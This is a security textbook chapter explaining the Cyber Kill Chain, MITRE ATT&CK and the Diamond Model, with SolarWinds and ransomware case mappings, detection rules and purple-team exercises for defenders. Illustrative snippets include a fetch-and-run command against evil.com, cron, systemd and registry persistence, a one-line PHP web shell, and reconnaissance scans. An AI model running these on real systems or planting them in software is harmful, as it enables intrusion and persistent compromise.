Chapter 26: Attack Taxonomy and Kill Chain

"Know the enemy and know yourself; in a hundred battles you will never be in peril." — Sun Tzu, The Art of War

How does an attacker live inside a network for nine months without being detected? Because nobody is looking at the right things at the right time. Organizations may have firewalls, antivirus, even a SIEM. But without a mental model for how attacks progress, they treat security as a series of disconnected events instead of a chain.

Every successful attack follows a pattern — a sequence of stages. If you understand the stages, you can detect and disrupt the attack at any point. Miss the phishing email? Maybe you catch the lateral movement. Miss the lateral movement? Maybe you catch the data exfiltration. But you need a framework to think about it. This chapter covers the three most important frameworks — and then maps real attacks to them.

The Lockheed Martin Cyber Kill Chain

In 2011, researchers at Lockheed Martin published a paper that changed how the security industry thinks about intrusions. They adapted the military concept of a "kill chain" — the structure of an attack from identification of a target through destruction — to cyber operations.

The key insight: attackers must complete every stage to succeed. Defenders only need to break one link in the chain.

graph TD
    R["1. RECONNAISSANCE<br/>Research the target:<br/>OSINT, DNS, port scans,<br/>LinkedIn, job postings"]
    W["2. WEAPONIZATION<br/>Create deliverable payload:<br/>malware + exploit combined<br/>into a weapon (off-network)"]
    D["3. DELIVERY<br/>Transmit weapon to target:<br/>email attachment, watering hole,<br/>USB drive, supply chain"]
    E["4. EXPLOITATION<br/>Trigger vulnerability:<br/>buffer overflow, RCE,<br/>user clicks link, zero-day"]
    I["5. INSTALLATION<br/>Establish persistence:<br/>backdoor, RAT, web shell,<br/>registry keys, cron jobs"]
    C2["6. COMMAND & CONTROL<br/>Communicate with attacker:<br/>HTTPS beaconing, DNS tunneling,<br/>social media dead drops"]
    AO["7. ACTIONS ON OBJECTIVES<br/>Achieve the goal:<br/>data exfiltration, ransomware,<br/>lateral movement, espionage"]

    R --> W --> D --> E --> I --> C2 --> AO

    style R fill:#1a5276,color:#fff
    style W fill:#7b241c,color:#fff
    style D fill:#b7950b,color:#fff
    style E fill:#a93226,color:#fff
    style I fill:#6c3483,color:#fff
    style C2 fill:#1e8449,color:#fff
    style AO fill:#cb4335,color:#fff

The kill chain looks linear, but real attacks are not always linear. The kill chain is a model, not a rulebook. Attackers loop back — they establish C2, do more recon from inside the network, then weaponize again for lateral movement. But the stages themselves are consistent. The value is in giving defenders a structured way to think about where their defenses are strong and where they have gaps.

Stage by Stage: The Defender's Playbook

Stage 1: Reconnaissance

The attacker gathers information. This is often the longest phase and the one where defenders have the least visibility, because much of it happens outside the target's network.

Passive reconnaissance (no direct interaction with the target):

# OSINT: what can an attacker learn without touching your systems?

# DNS records reveal infrastructure
$ dig example.com ANY +noall +answer
example.com.    300  IN  A      93.184.216.34
example.com.    300  IN  MX     10 mail.example.com.
example.com.    300  IN  NS     ns1.example.com.
example.com.    300  IN  TXT    "v=spf1 include:_spf.google.com ~all"

# Certificate Transparency logs reveal all subdomains with TLS certs
$ curl -s "https://crt.sh/?q=%.example.com&output=json" | \
    jq -r '.[].name_value' | sort -u
api.example.com
staging.example.com
internal.example.com    # <-- Attackers love finding these
vpn.example.com
jenkins.example.com     # <-- CI/CD systems are high-value targets

# LinkedIn reveals org structure, tech stack, security team size
# Job postings reveal what technologies you use:
# "Experience with Kubernetes, Terraform, and HashiCorp Vault"
# tells an attacker your entire infrastructure stack

# Shodan reveals internet-facing services
$ shodan host 93.184.216.34

Active reconnaissance (directly interacts with target systems):

# Port scanning
$ nmap -sV -sC -O -p- target.example.com
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu
80/tcp   open  http     nginx/1.24.0
443/tcp  open  https    nginx/1.24.0
8080/tcp open  http     Jenkins 2.401

# Web application fingerprinting
$ whatweb https://example.com
https://example.com [200 OK] HTTPServer[nginx/1.24.0],
  X-Powered-By[Express], Country[US]

# Directory enumeration
$ gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt
/admin                (Status: 302)
/api                  (Status: 200)
/api/v1/health        (Status: 200)
/.env                 (Status: 403)  # Exists but forbidden — interesting

Defender actions at this stage:

• Monitor for port scans (IDS/IPS rules for sequential port access)
• Minimize public information exposure (sanitize job postings, DNS records)
• Use honeypots to detect active scanning
• Monitor Certificate Transparency logs for unauthorized certificate issuance
• Web application firewalls (WAFs) to block directory enumeration

Stage 2: Weaponization

The attacker creates a deliverable payload by combining a vulnerability exploit with malware. This stage happens entirely off-network — the defender has zero visibility.

Common weaponization techniques:

• Embedding a macro payload in a Word document
• Creating a trojanized version of legitimate software
• Building a custom exploit for a known CVE
• Generating a phishing page that mimics the target's login portal
• Packaging malware in a legitimate installer (supply chain attack)

Weaponization is the stage defenders cannot observe directly. You will never see the attacker building their payload in their lab. But you can prepare for what they will deliver by knowing what vulnerabilities exist in your stack and what weaponized exploits are publicly available.

# Defenders: check what exploits exist for your software
$ searchsploit nginx 1.24
$ searchsploit jenkins 2.401
# If public exploits exist, assume attackers have them too

Stage 3: Delivery

The weapon reaches the target through one of these channels:

graph LR
    A["Attacker's Payload"] --> Email["Email Attachment<br/>(60-70% of delivery)"]
    A --> Web["Malicious Website<br/>(watering hole, drive-by)"]
    A --> USB["Physical Media<br/>(USB drops, insider)"]
    A --> Supply["Supply Chain<br/>(compromised update,<br/>dependency poisoning)"]
    A --> Direct["Direct Exploit<br/>(exposed service,<br/>zero-day against VPN)"]

    Email --> Target["Target Organization"]
    Web --> Target
    USB --> Target
    Supply --> Target
    Direct --> Target

    style Email fill:#cc3333,color:#fff
    style Supply fill:#cc6633,color:#fff

Defender actions at this stage:

• Email security gateways (sandbox attachments, URL rewriting)
• Web proxies with malware scanning
• Disable USB autorun, restrict removable media
• Software composition analysis (SCA) for supply chain
• Patch exposed services rapidly
• User security awareness training

Stage 4: Exploitation

The vulnerability is triggered and the attacker gains code execution. This is the moment where defense transitions from prevention to detection.

# Example: a CVE exploit against a web application
# Server receives a crafted request that triggers a deserialization vulnerability
POST /api/data HTTP/1.1
Content-Type: application/x-java-serialized-object

# The serialized Java object contains instructions to execute:
Runtime.getRuntime().exec("wget http://evil.com/shell.sh -O /tmp/s && bash /tmp/s")

Defender actions:

• Patch management (CVSS critical = patch within 48 hours)
• Endpoint Detection and Response (EDR) to detect exploit behavior
• Application-level sandboxing (seccomp, AppArmor, SELinux)
• Web Application Firewall rules for known exploit patterns
• Network segmentation to limit post-exploitation movement

Stage 5: Installation

The attacker establishes persistence — the ability to maintain access even after a system reboot or a password change.

# Common persistence mechanisms an attacker might install:

# Linux: cron job
echo "*/5 * * * * /tmp/.hidden/beacon" >> /var/spool/cron/crontabs/root

# Linux: systemd service
cat > /etc/systemd/system/update-check.service << 'EOF'
[Unit]
Description=System Update Check
[Service]
ExecStart=/opt/.update/agent
Restart=always
[Install]
WantedBy=multi-user.target
EOF

# Windows: registry run key
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v updater /d C:\Users\Public\update.exe

# Web shell (PHP)
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/.maintenance.php

Defender actions:

• File integrity monitoring (OSSEC, Wazuh, Tripwire)
• Monitor for new scheduled tasks, services, startup items
• Application whitelisting (only approved executables run)
• Monitor for web shells in web-accessible directories

Stage 6: Command and Control (C2)

The compromised system establishes communication with the attacker's infrastructure. Modern C2 channels are designed to blend with normal traffic:

sequenceDiagram
    participant Malware as Compromised Host
    participant C2 as C2 Server

    Note over Malware,C2: HTTPS Beaconing (most common)
    Malware->>C2: HTTPS GET /api/status<br/>(looks like normal web traffic)
    C2-->>Malware: JSON response with<br/>encoded commands
    Note over Malware: Executes command,<br/>waits 30-60 minutes
    Malware->>C2: HTTPS POST /api/telemetry<br/>(exfiltrates data in body)

    Note over Malware,C2: DNS Tunneling (stealthy)
    Malware->>C2: DNS query: cmd-result.data.evil.com<br/>(data encoded in subdomain)
    C2-->>Malware: DNS TXT response with<br/>next command encoded

    Note over Malware,C2: Social Media Dead Drop
    Malware->>C2: Read tweets from @innocentaccount<br/>(commands hidden in post text)
    Note over Malware: Decode commands from<br/>seemingly innocent posts

Defender actions:

• Network traffic analysis for beaconing patterns (regular intervals)
• DNS monitoring for unusual query volumes or entropy
• SSL/TLS inspection for known C2 domains
• Block known-bad infrastructure (threat intelligence feeds)
• Monitor for unusual outbound connections from servers

Stage 7: Actions on Objectives

The attacker achieves their goal. This varies by attacker motivation:

Defender actions:

• Data Loss Prevention (DLP) for exfiltration detection
• Database Activity Monitoring (DAM)
• Canary tokens and honeypots to detect data access
• Network segmentation to limit lateral movement
• Backup and recovery procedures for ransomware

Kill Chain Criticisms and Limitations

The kill chain is useful, but it has several important limitations:

1. It's too linear. Real attacks loop, branch, and skip stages. An insider attack skips reconnaissance, delivery, and exploitation entirely.

2. It's perimeter-focused. The kill chain was designed for traditional network defense — it assumes the attacker is outside trying to get in. Cloud-native attacks, insider threats, and supply chain compromises don't fit this model well.

3. It stops at "Actions on Objectives." It doesn't model what happens after the attacker achieves their goal — the lateral movement, privilege escalation, and persistence that characterize modern intrusions.

4. Weaponization is invisible. Dedicating a stage to something defenders can't observe or influence has limited practical value.

These criticisms led to the development of more comprehensive frameworks — particularly MITRE ATT&CK.

MITRE ATT&CK: The Comprehensive Framework

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a knowledge base of adversary behavior based on real-world observations. Unlike the Kill Chain's 7 linear stages, ATT&CK organizes adversary behavior into 14 tactics (the "why" — the adversary's goal) and hundreds of techniques (the "how" — the methods used to achieve each tactic).

graph LR
    subgraph Tactics["ATT&CK Tactics (Enterprise)"]
        T1["Reconnaissance"]
        T2["Resource<br/>Development"]
        T3["Initial<br/>Access"]
        T4["Execution"]
        T5["Persistence"]
        T6["Privilege<br/>Escalation"]
        T7["Defense<br/>Evasion"]
        T8["Credential<br/>Access"]
        T9["Discovery"]
        T10["Lateral<br/>Movement"]
        T11["Collection"]
        T12["Command<br/>& Control"]
        T13["Exfiltration"]
        T14["Impact"]
    end

    T1 --> T2 --> T3 --> T4
    T4 --> T5 & T6 & T7
    T5 --> T8 --> T9 --> T10
    T10 --> T11 --> T12 --> T13
    T13 --> T14

    style T3 fill:#cc3333,color:#fff
    style T7 fill:#886622,color:#fff
    style T10 fill:#cc6633,color:#fff
    style T13 fill:#993366,color:#fff

The Structure: Tactics, Techniques, Sub-Techniques

Tactic (WHY)          Technique (HOW)              Sub-Technique (SPECIFIC HOW)
─────────────         ────────────────             ────────────────────────────
Initial Access    →   Phishing (T1566)         →   Spearphishing Attachment (T1566.001)
                                                    Spearphishing Link (T1566.002)
                                                    Spearphishing via Service (T1566.003)

Persistence       →   Boot or Logon            →   Registry Run Keys (T1547.001)
                      Autostart (T1547)             Authentication Package (T1547.002)
                                                    Kernel Modules (T1547.006)

Defense Evasion   →   Obfuscated Files         →   Binary Padding (T1027.001)
                      or Info (T1027)               Steganography (T1027.003)
                                                    Compile After Delivery (T1027.004)

Credential Access →   OS Credential            →   LSASS Memory (T1003.001)
                      Dumping (T1003)               /etc/passwd and /etc/shadow (T1003.008)
                                                    DCSync (T1003.006)

The Enterprise matrix alone contains over 200 techniques and over 400 sub-techniques. There are separate matrices for Mobile and ICS (Industrial Control Systems). Nobody memorizes them all — the value is as a structured reference and a framework for gap analysis.

Using ATT&CK for Detection Coverage Mapping

This is where ATT&CK becomes operationally powerful. You can map your detection capabilities against the matrix to identify gaps:

graph TD
    subgraph Coverage["Detection Coverage Analysis"]
        direction LR
        subgraph Green["Well Covered"]
            IA["Initial Access<br/>Email gateway,<br/>WAF rules"]
            Exec["Execution<br/>EDR monitors<br/>process creation"]
            C2Map["C2<br/>Network monitoring,<br/>DNS analysis"]
        end

        subgraph Yellow["Partial Coverage"]
            Persist["Persistence<br/>File integrity on<br/>some servers only"]
            Cred["Credential Access<br/>LSASS monitoring<br/>on Windows only"]
            Disc["Discovery<br/>Some AD<br/>audit logging"]
        end

        subgraph Red["Major Gaps"]
            Evasion["Defense Evasion<br/>No process hollowing<br/>detection"]
            Lateral["Lateral Movement<br/>No internal network<br/>traffic analysis"]
            Exfil["Exfiltration<br/>No DLP,<br/>no DNS exfil detection"]
        end
    end

    style Green fill:#228844,color:#fff
    style Yellow fill:#cc8800,color:#fff
    style Red fill:#cc2222,color:#fff

# Example: querying ATT&CK data programmatically using the STIX/TAXII API
# via the MITRE ATT&CK Python library (mitreattack-python)
pip install mitreattack-python

# Or use the ATT&CK Navigator (a web-based tool) to visualize coverage:
# https://mitre-attack.github.io/attack-navigator/

**ATT&CK Navigator layers** are JSON files that color-code techniques based on your detection capabilities:

- **Red/Empty:** No detection — an attacker using this technique would go unnoticed
- **Yellow:** Partial detection — might trigger an alert but not reliably
- **Green:** Good detection — high-confidence alerts with playbooks
- **Blue:** Proactive hunting — regular threat hunting campaigns cover this technique

Security teams create multiple layers:
1. **Current detection coverage** — what your SIEM rules and EDR policies actually detect today
2. **Threat group overlay** — which techniques specific adversaries (APT29, FIN7, etc.) use
3. **Gap analysis** — the intersection reveals exactly where your defenses are weakest against your most likely adversaries

This data-driven approach replaces "we need better security" with "we need detection for T1055 (Process Injection) because APT29 uses it and we have zero coverage."

The Diamond Model of Intrusion Analysis

The Diamond Model, proposed by Caltagirone, Pendergast, and Betz in 2013, provides a complementary lens to the Kill Chain and ATT&CK. It models each intrusion event as a diamond with four core features:

graph TD
    Adversary["ADVERSARY<br/>(Who is attacking?)<br/>Nation-state, criminal group,<br/>insider, hacktivist"]

    Infrastructure["INFRASTRUCTURE<br/>(What tools/servers?)<br/>C2 servers, domains,<br/>IPs, malware, exploits"]

    Capability["CAPABILITY<br/>(What are they using?)<br/>Exploit code, malware family,<br/>techniques, tradecraft"]

    Victim["VICTIM<br/>(Who is being attacked?)<br/>Organization, system,<br/>person, data asset"]

    Adversary --- Capability
    Adversary --- Infrastructure
    Capability --- Victim
    Infrastructure --- Victim

    style Adversary fill:#1a5276,color:#fff
    style Infrastructure fill:#7b241c,color:#fff
    style Capability fill:#6c3483,color:#fff
    style Victim fill:#1e8449,color:#fff

The power of the Diamond Model is in pivoting. When you discover one vertex, you can pivot to discover the others.

Say you find a malicious IP address in your logs. That is Infrastructure. You look up that IP in threat intelligence and find it has been used by APT29 — now you have the Adversary. You know APT29's typical Capabilities — the techniques they use. And you can predict who else in your organization (the Victim vertex) they might target based on their known interests.

sequenceDiagram
    participant Analyst as Security Analyst
    participant TI as Threat Intelligence
    participant SIEM as SIEM / Logs
    participant ATT as ATT&CK Database

    Note over Analyst,ATT: Diamond Model Pivoting
    Analyst->>SIEM: Found suspicious C2 traffic<br/>to 203.0.113.50 (Infrastructure)
    SIEM-->>Analyst: Source: finance-server-03<br/>(Victim)

    Analyst->>TI: Who owns 203.0.113.50?
    TI-->>Analyst: Associated with APT29<br/>(Adversary)

    Analyst->>ATT: What techniques does<br/>APT29 use?
    ATT-->>Analyst: T1566.001 (Spearphishing),<br/>T1059 (Command & Scripting),<br/>T1003.006 (DCSync)<br/>(Capability)

    Analyst->>SIEM: Search for other APT29<br/>indicators across all systems
    SIEM-->>Analyst: Found similar beaconing<br/>from hr-server-01 and<br/>dc-primary (more Victims)

The Diamond Model is more about the analysis process than about the attack stages. The Kill Chain tells you where in the attack lifecycle you are. ATT&CK tells you what the attacker is doing. The Diamond Model tells you how to investigate — how to pivot from one piece of evidence to understand the full picture. They are complementary tools, not competitors.

Mapping a Real Attack: SolarWinds (2020)

The SolarWinds supply chain attack, attributed to Russian intelligence (APT29/Cozy Bear), compromised approximately 18,000 organizations including US government agencies, Microsoft, and FireEye. Let's map it to both the Kill Chain and ATT&CK.

Kill Chain Mapping

graph TD
    R["1. RECONNAISSANCE<br/>APT29 identified SolarWinds Orion<br/>as a target: widely deployed in<br/>government and Fortune 500"]

    W["2. WEAPONIZATION<br/>Created SUNBURST malware.<br/>Designed to blend with<br/>Orion's legitimate code.<br/>Used stolen code-signing cert."]

    D["3. DELIVERY<br/>Injected SUNBURST into<br/>SolarWinds build pipeline.<br/>Delivered via legitimate<br/>software update (supply chain)."]

    E["4. EXPLOITATION<br/>Orion update installed by<br/>18,000 customers.<br/>No vulnerability needed —<br/>it was a trusted update."]

    I["5. INSTALLATION<br/>SUNBURST backdoor activated<br/>after 12-14 day dormancy.<br/>Disguised as legitimate<br/>Orion components."]

    C2["6. C2<br/>DNS-based C2 via<br/>avsvmcloud.com subdomain<br/>encoding. Responses embedded<br/>in CNAME records."]

    AO["7. ACTIONS ON OBJECTIVES<br/>Selected ~100 high-value targets.<br/>Installed TEARDROP second-stage.<br/>Lateral movement to Azure AD.<br/>Stole emails, documents."]

    R --> W --> D --> E --> I --> C2 --> AO

    style D fill:#cc3333,color:#fff
    style C2 fill:#336699,color:#fff

ATT&CK Mapping

Notice how the supply chain delivery bypassed every traditional defense. Firewalls? The update came from a trusted vendor through a legitimate channel. Email security? No phishing was needed. Endpoint protection? The malware was signed with SolarWinds' own code-signing certificate. The attackers spent months infiltrating SolarWinds' build pipeline specifically to avoid these defenses.

The most chilling detail about SolarWinds was not the technical sophistication — it was the patience. APT29 infiltrated SolarWinds' build system in October 2019. They added test code in October and November to verify they could modify the build without being detected. They did not deploy the actual malware until February 2020. Then SUNBURST waited 12-14 days after installation before activating. Once active, it checked if it was running in a sandbox, verified the system was domain-joined, and only then began C2 communication.

The total time from initial compromise of SolarWinds to discovery by FireEye in December 2020 was approximately 14 months. During that time, the attackers had access to some of the most sensitive networks in the world.

The lesson: supply chain attacks fundamentally change the threat model. You are not just defending against your own vulnerabilities — you are trusting every vendor in your software supply chain. And that trust can be weaponized.

Mapping a Ransomware Attack to ATT&CK

Let's trace a typical modern ransomware attack (modeled on the Conti/Ryuk playbook) through ATT&CK:

graph TD
    subgraph Phase1["Initial Compromise (Day 1)"]
        IA["Initial Access:<br/>Phishing email with<br/>Excel attachment<br/>(T1566.001)"]
        Exec["Execution:<br/>Macro downloads<br/>BazarLoader<br/>(T1059.005)"]
    end

    subgraph Phase2["Establishing Foothold (Days 1-3)"]
        Persist["Persistence:<br/>Scheduled task for<br/>Cobalt Strike beacon<br/>(T1053.005)"]
        Evasion["Defense Evasion:<br/>Process injection into<br/>svchost.exe<br/>(T1055.012)"]
        Cred["Credential Access:<br/>Mimikatz dumps LSASS<br/>for domain creds<br/>(T1003.001)"]
    end

    subgraph Phase3["Expanding Access (Days 3-7)"]
        Disc["Discovery:<br/>AD enumeration with<br/>BloodHound/AdFind<br/>(T1087.002)"]
        Lateral["Lateral Movement:<br/>RDP with stolen creds<br/>to domain controller<br/>(T1021.001)"]
        PrivEsc["Privilege Escalation:<br/>DCSync to get<br/>krbtgt hash<br/>(T1003.006)"]
    end

    subgraph Phase4["Impact (Day 7-10)"]
        Collect["Collection:<br/>Stage sensitive files<br/>for double extortion<br/>(T1560.001)"]
        Exfil["Exfiltration:<br/>Upload to cloud storage<br/>via HTTPS<br/>(T1567.002)"]
        Impact["Impact:<br/>Deploy ransomware via<br/>Group Policy to all<br/>domain-joined systems<br/>(T1486)"]
    end

    IA --> Exec --> Persist --> Evasion --> Cred --> Disc --> Lateral --> PrivEsc --> Collect --> Exfil --> Impact

    style Phase1 fill:#1a1a2e,color:#fff
    style Phase2 fill:#16213e,color:#fff
    style Phase3 fill:#0f3460,color:#fff
    style Phase4 fill:#cc0000,color:#fff

The ransomware deployment is just the final step in a much longer attack chain. Modern ransomware groups spend days to weeks inside the network before deploying the ransomware. They need to find all the backups (and destroy them), identify the most valuable data (for double extortion — threatening to publish it), and spread to as many systems as possible for maximum impact. The encryption is the last step, not the first. This is why detection at any earlier stage is critical.

How Defenders Use These Frameworks

1. Gap Analysis

Map your detection capabilities to ATT&CK techniques. For every technique, ask:

• Do we have a detection rule?
• What's the data source? (endpoint logs, network traffic, cloud audit logs)
• What's the false positive rate?
• Is there a documented response playbook?

# Example: checking if you detect common initial access techniques

# T1566.001 (Spearphishing Attachment)
# Detection: Email gateway logs + EDR for child processes of Office apps
grep -c "rule:phishing_attachment" /var/log/siem/detection_rules.conf

# T1059.001 (PowerShell)
# Detection: PowerShell ScriptBlock logging + AMSI integration
# Check: is ScriptBlock logging enabled?
# Windows: GPO > Administrative Templates > Windows Components >
#           Windows PowerShell > Turn on Script Block Logging

# T1003.001 (LSASS Memory Access)
# Detection: Sysmon Event ID 10 (Process Access) targeting lsass.exe
grep "lsass" /etc/sysmon/sysmonconfig.xml

2. Threat-Informed Defense

Instead of trying to defend against everything equally, focus on the techniques your most likely adversaries use:

# Query ATT&CK for techniques used by a specific threat group
# Using the ATT&CK website or STIX data:
# https://attack.mitre.org/groups/G0016/  (APT29)
# https://attack.mitre.org/groups/G0046/  (FIN7)

# Build SIEM rules specifically for these techniques
# Example Sigma rule for DCSync detection (T1003.006):
title: DCSync Attack Detected
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4662
        AccessMask: '0x100'
        Properties|contains:
            - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes
            - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes-All
    filter:
        SubjectUserName|endswith: '$'  # Legitimate DC replication uses machine accounts
    condition: selection and not filter
level: critical

3. Red Team / Purple Team Exercises

Use ATT&CK as a shared language between offensive and defensive teams:

Purple Team Exercise Plan:
─────────────────────────
Objective: Test detection of Credential Access techniques

Technique: T1003.001 (LSASS Memory - Mimikatz)
Red Team Action: Execute Mimikatz on test endpoint
Blue Team Goal:  Alert fires within 5 minutes
Data Source:     Sysmon Event ID 10
Expected Alert:  "Process accessed LSASS memory"
Result:          ☐ Detected  ☐ Not detected  ☐ Partially detected

Technique: T1003.006 (DCSync)
Red Team Action: Use Mimikatz DCSync from non-DC machine
Blue Team Goal:  Alert fires within 2 minutes
Data Source:     Windows Security Event 4662
Expected Alert:  "Non-DC performed directory replication"
Result:          ☐ Detected  ☐ Not detected  ☐ Partially detected

Technique: T1558.003 (Kerberoasting)
Red Team Action: Request TGS tickets for service accounts
Blue Team Goal:  Alert fires within 10 minutes
Data Source:     Windows Security Event 4769
Expected Alert:  "Anomalous TGS ticket requests"
Result:          ☐ Detected  ☐ Not detected  ☐ Partially detected

4. Detection Engineering Prioritization

graph TD
    subgraph Priority["Detection Priority Matrix"]
        direction LR
        P1["HIGH PRIORITY<br/>(Build detection NOW)"]
        P2["MEDIUM PRIORITY<br/>(Build detection next quarter)"]
        P3["LOWER PRIORITY<br/>(Monitor for improvement)"]
    end

    P1 --- C1["Techniques used by<br/>threat actors targeting<br/>your industry"]
    P1 --- C2["Techniques with<br/>no current detection"]
    P1 --- C3["Techniques with<br/>high impact potential"]

    P2 --- C4["Techniques with<br/>partial detection"]
    P2 --- C5["Techniques requiring<br/>new data sources"]

    P3 --- C6["Techniques with<br/>good detection coverage"]
    P3 --- C7["Techniques unlikely<br/>for your threat model"]

    style P1 fill:#cc2222,color:#fff
    style P2 fill:#cc8800,color:#fff
    style P3 fill:#228844,color:#fff

Comparing the Frameworks

Do not think of these as competing frameworks. Use the Kill Chain to communicate strategy to leadership ("we're weak at Stage 5 — Installation/Persistence"). Use ATT&CK for technical detection engineering and gap analysis. Use the Diamond Model when investigating incidents — it teaches you how to pivot from one piece of evidence to understand the full intrusion.

1. **Map your defenses to the Kill Chain:** For each of the 7 stages, list what controls you have in place. Where are the gaps?

2. **Use ATT&CK Navigator:** Go to https://mitre-attack.github.io/attack-navigator/ and create a layer representing your detection capabilities. Color-code by confidence level.

3. **Threat group research:** Pick two threat groups relevant to your industry from https://attack.mitre.org/groups/ . Compare their technique overlap. What techniques do both groups share? Those are your highest-priority detections.

4. **Diamond Model exercise:** Take a published incident report (e.g., from Mandiant's M-Trends or CrowdStrike's reports) and map the four vertices. Practice pivoting: what can you learn about the Adversary from the Infrastructure they used?

5. **Write detection rules:** Pick three ATT&CK techniques that your SIEM doesn't currently detect. Write Sigma rules or SIEM queries for each. Test them in your environment.

6. **Purple Team simulation:** If you have an EDR tool, simulate T1003.001 (use Mimikatz on a test endpoint with authorization) and verify your detection fires. Document the gap if it doesn't.

What You've Learned

In this chapter, we examined the three major frameworks for understanding cyber attacks and how defenders use them operationally:

• The Lockheed Martin Cyber Kill Chain models attacks as seven sequential stages from Reconnaissance through Actions on Objectives. Its key insight is that defenders only need to break one link in the chain. Its limitation is that it's linear and perimeter-focused — it doesn't model insider threats, supply chain attacks, or post-compromise lateral movement well.

• MITRE ATT&CK provides a comprehensive, living catalog of adversary behavior organized into 14 tactics and hundreds of techniques based on real-world observations. Its primary operational value is in detection coverage mapping — identifying exactly which adversary techniques your security stack can and cannot detect, enabling data-driven prioritization of detection engineering.

• The Diamond Model organizes intrusion analysis around four vertices — Adversary, Infrastructure, Capability, and Victim — enabling analysts to pivot from one piece of evidence to understand the full picture. It's primarily an analytical framework for investigation and threat intelligence.

• SolarWinds demonstrated how a supply chain attack bypasses traditional Kill Chain defenses by delivering malware through a trusted software update channel, and how ATT&CK mapping reveals the breadth of post-compromise activity (from SAML token forging to DNS-based C2).

• Modern ransomware follows a multi-day playbook that maps to dozens of ATT&CK techniques, with the actual encryption being the final step after extensive reconnaissance, credential harvesting, lateral movement, and data exfiltration.

• Operationally, these frameworks enable gap analysis (where are we blind?), threat-informed defense (what should we focus on?), purple team exercises (does our detection actually work?), and detection engineering prioritization (what do we build next?).

The frameworks are not academic exercises — they are practical tools for systematically improving your security posture by understanding exactly how real adversaries operate and where your defenses have gaps.